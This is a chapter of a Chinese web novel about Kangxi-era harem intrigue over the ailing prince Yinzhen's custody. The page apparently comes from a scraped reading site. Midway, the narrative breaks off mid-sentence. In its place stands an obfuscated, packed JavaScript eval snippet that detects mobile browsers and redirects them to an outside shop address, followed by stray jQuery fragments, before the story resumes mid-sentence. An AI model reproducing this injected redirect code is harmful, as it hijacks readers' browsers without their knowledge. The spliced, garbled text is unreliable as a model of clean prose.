默认冷灰
24号文字
方正启体

23. 我高不高兴另说,你现下,该是高兴极了吧?……

作者:西雅图的海本书字数:K更新时间:
    “禀皇上,胤禶阿哥因夜里受凉,且惊吓过度,所以高热惊厥了过去,太医院所有的值班太医已于两刻钟前全都赶了过来,现下已经用针暂时控制住了阿哥的病情。”院首一字一句斟酌后谨慎地说道。


    夜里受凉?惊吓过度?高热惊厥?康熙转了转扳指,嘴角露出一丝冷笑,呵。


    正在这时德嫔带着那拉贵人也到了,两人都是匆忙间赶来,一进门,不待德嫔张嘴,那拉贵人就跪在康熙脚下,膝行几步哽咽道:“皇上圣安,有人要害阿哥爷啊!”


    此时的屋里,只余梁九功、胤禶阿哥身边贴身伺候的两位嬷嬷,还有院首、王太医和德嫔、那拉贵人等人,其他的人则都被梁九功叫人捂住嘴带到院子里看管了起来。


    康熙脸色一变,他看了眼院首,“下去写方子煎药吧。”


    “是。”


    院首扶着王太医的手颤颤巍巍地站起来,他老了,皇上已经准许他今年告老还乡了,年事已高,该享福了,他不想搅进这后宫的事来。


    高热惊厥,全身抽搐,眼皮上翻,口吐白沫,胤禶阿哥本身身子骨就不好,小儿难养,往后的事可说不准吶。


    “去外间。”康熙瞥了一眼德嫔,然后起身离开。


    德嫔被皇上的一眼吓得顿在原地。


    冷漠?怀疑?骇人的目光让她双腿一软,不受控制地后退两步磕在桌腿上,连声痛都不敢叫出来。


    那拉贵人抿唇站起来,神情有些不知所措,她愣愣地转头看向德嫔,“娘娘。”


    德嫔一把挥开她的手,深深地吸了一口气,然后挡住其他人的视线狠狠地瞪了那拉贵人一眼,“你,好有本事!”


    她还不知道永和宫里竟还有这样一个厉害的人!


    “德嫔娘娘,那拉贵人,请吧。”梁九功悄无声息地站在门口,像是没看见两人的动作似的。


    外间,烛火昏暗,黑影重重,梁九功关上房门。


    “皇上,奴才一直担忧胤禶阿哥的身体,所以请过太皇太后的懿旨,叫身边的丫头每隔两日便过来阿哥所看看。”


    康熙记得前不久,太皇太后派人给他说过这个事,他当时说什么来着?


    “将那宫女带上来。”


    不过半刻钟,去启祥宫叫门的宫女就被押了上来,若是穗珠在这里,定能一眼认出这名宫女正是在那拉贵人身边的贴身宫女—绿蝉。


    她一身普通的宫人装扮,跪在屋子中间,看起来并不起眼。


    待梁九功让她将知道的都说出来后,她悄悄瞟了一眼那拉贵人,然后掩面泣声道:“因阿哥平日里吃食用物上俱是精贵,所以贵人就命奴才每隔两日过来看看阿哥,瞧上一眼就行。”


    说着又吸了吸鼻子,接着说道:“今日奴才做完手上的事后,时辰便有些晚了,怕宵禁时辰到了还赶不上回宫,所以贵人便求了德嫔娘娘,容奴才在阿哥所呆上一夜,明日再回宫,所以奴才今日夜里便歇在了外间。”


    她口齿伶俐,一番话说得有理有据。


    德嫔站在一旁,闻言眉头紧蹙,“宫中规定,若要出行,需两人及以上结伴,我同意那拉贵人的请求,但为何只有你一人在这?”


    德嫔只恨那拉氏捏着太皇太后的懿旨,叫她不能拒绝,如今自己却要在这阿哥所和一名三等宫女论嘴,自降身价!


    那拉氏原本低着头跪在地上,听见德嫔的话后,立刻抬起头来,脸上的泪痕还未干,“娘娘,绿蝉是和妾身身边的另一名宫女红雀一起过来的。”


    见人被带过来,德嫔更加疑惑了,那拉氏身边只有两名宫女贴身伺候,都过来了,那谁伺候她呢?


    她在脑子里思索了一番,不知想到什么,她脸色变得复杂起来。


    儿女都是债!


    “梁九功,立刻去承乾宫将贵妃请过来。”


    “是。”


    夜幕渐渐收起,宫里各处也有了走动。


    康熙站在暖轿前,慢慢呼出一口冷气,他揉了揉额角,那拉氏想要的,太多了。


    还有,那个给她出主意的人,康熙目光一闪,“叫安嫔好好养着吧。”


    一大早,宫里就炸开了锅。


    皇上雷厉风行,亲自坐镇阿哥所,待查明胤禶阿哥身边伺候的嬷嬷和太监有渎职、慢待嫌疑,立刻将人押入慎刑司。


    然后应下那拉贵人的请求,将胤禶阿哥送往景阳宫安嫔身边抚养。


    启祥宫里,穗珠躺在软塌上,也在想这个问题,胤禶阿哥暂时交由景阳宫安嫔抚养,这到底是谁想出来的招儿?


    既然这事儿偏离了原先的路线,那往后的事是不是也都说不准了?


    不过这也好,至少胤禶阿哥没有夭折了。


    人不都说救人一命胜造七级浮屠嘛,她至少做了件好事。


    穗珠希望是一件好事,她想了半晌便有些头疼,脑后抽抽的。


    麦苗看着主子蹙眉的样子就坐不住了,手上的活儿一放,凑到穗珠跟前,“主子,您这是怎的了?”


    穗珠捂着额头摇摇头,“想事儿呢。”


    麦苗去查房灌了一只牛皮水袋回来往主子脑后捂着,一脸不赞同道:“多思多忧,奴婢这两日瞧着主子进食也少了呢。”


    这都是什么和什么呢,穗珠戳了戳她的额头。


    “哎呦,奴婢说的可都是真的呢。”


    思则伤脾,穗珠点点头,“你说得有道理。”


    反正想也想不明白,她便丢在一旁不再多加理会了。


    不管怎样,她受不了内心的谴责,到底是走了这一步,好坏就交给以后来评判吧。


    过好现在才是最重要的。


    和旁人不同,延禧宫里,惠嫔却气得跳脚。


    她就不明白大阿哥身边伺候的奴才都是怎么伺候的!


    住在自己隔壁的亲弟弟病了,大阿哥竟然不去看望,还将院门关得紧紧的!


    好好的一个在皇上面前表现的机会就这样溜走了。


    不仅这样,怕是还给皇上留下一个无情无义、和兄弟间形同陌路的印象。


    天家父子间的感情本就不深,大阿哥还在宫外生活许久,才被接进宫中就如此作为。


    惠嫔红着眼睛,胸口起伏不定,她越想越后怕,看着时辰,立刻带着人去了阿哥所。


    德嫔今日终于歇了去承乾宫的心思,看着内务府总管亲自领着人进来,然后绕过正殿往那拉氏住的后配殿走去。


    一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567176|204800||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    位容长脸的姑姑,那是皇上给那拉氏指了宫人过来伺候她的,一个贵人,也配皇上入皇上的眼!


    德嫔明白,自己被甩了一手,那拉氏真真是厉害啊!


    都说自己有手段,那是没见识那拉氏的手段罢了!


    谋划、勇气缺一不可,那拉氏竟然都占齐了!


    “娘娘,针线房的人过来送衣裳了。”莺飞忍着手臂上的痛意,轻轻说道。


    “恩,回吧。”


    德嫔嘴角带笑迈过门槛,翻了翻针线房刚送来的衣裳。


    最上面是一件青绿色的镶毛边坎肩,手指一顿,她这会儿突然想起了戴佳嫔来。


    那拉氏为何想要将胤禶阿哥送往景阳宫处抚养,而不是启祥宫?


    安嫔虽位居嫔位之首,但在那拉贵人有难时,主动向她伸手的不是戴佳嫔吗?


    德嫔可还记得自己送出去的那两筐红箩炭呢。


    不管别人怎么想,日子还是要过,天气渐渐转暖,穗珠掐着手指数了数日子,如今已是三月了。


    承乾宫里自打前几日被皇上解禁后,贵妃立刻就派人传话,道是恢复了每隔三日的请安。


    穗珠昨天夜里没有睡好,今天又一大早便起身往承乾宫里赶,人看着便有些憔悴。


    这年轻是好,但是这瞌睡怎么也变多了呢?


    “哟,戴佳嫔妹妹今日怎么看着脸色不太好啊?”是惠嫔,如同往常一般的穿着打扮和笑脸。


    穗珠避开那拉氏和安嫔的目光,并不答话。


    这惠嫔今儿不知怎么的,今日不依不饶,又说道:“妹妹可是昨个儿也得知了胤禶阿哥的事儿?所以夜里没歇好了?”


    看她一脸的戏谑,穗珠有些头疼,她觉得自己对这位惠嫔娘娘着实没有办法。


    安嫔坐在穗珠身后,看着戴佳嫔避开自己,她心头有些不是滋味。


    她做过的事绝不后悔,但是和戴佳嫔的情分怕是也到头了。


    此时听见惠嫔的话,她端起茶盏撇了撇里头的浮沫,然后冷笑一声,“惠嫔,你也是为人母的一宫之主,不说关心关心胤禶阿哥的话,怎能如同乡间妇人一般,逮着旁人不停地盘问?难道戴佳嫔妹妹说了是,你就能高兴了?”


    “我高不高兴另说,你现下,”惠嫔顿了顿,然后笑着对上安嫔的视线,她撇了撇嘴角,“该是高兴极了吧?”


    她就看不惯这种背后使刀子的人。


    承乾宫的正殿暖厅里,一时间纷纷安静了下来。


    那拉氏站在德嫔身后,动了动嘴角,正想开口,就被德嫔扫过来的眼风打断。


    她抬起头往对面瞟去,戴佳嫔坐在圈椅上,安安静静地坐着,一副不想被人打扰的样子。


    那拉氏心里空落落的。


    戴佳嫔没有缘由的帮了她,但是她却没有领了这个情。


    想到这里,她鼻子一酸,捏起帕子沾了沾眼角。


    然后努力告诉自己,安嫔说得才是对的,她娘家有军功,自己又不能生育了,景阳宫,才是胤禶的最好去处。


    若是穗珠会读心术,这会儿怕是要尖叫了,她并不在乎安嫔和那拉贵人之间有何约定!


    她想干嘛和自己也没有关系!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)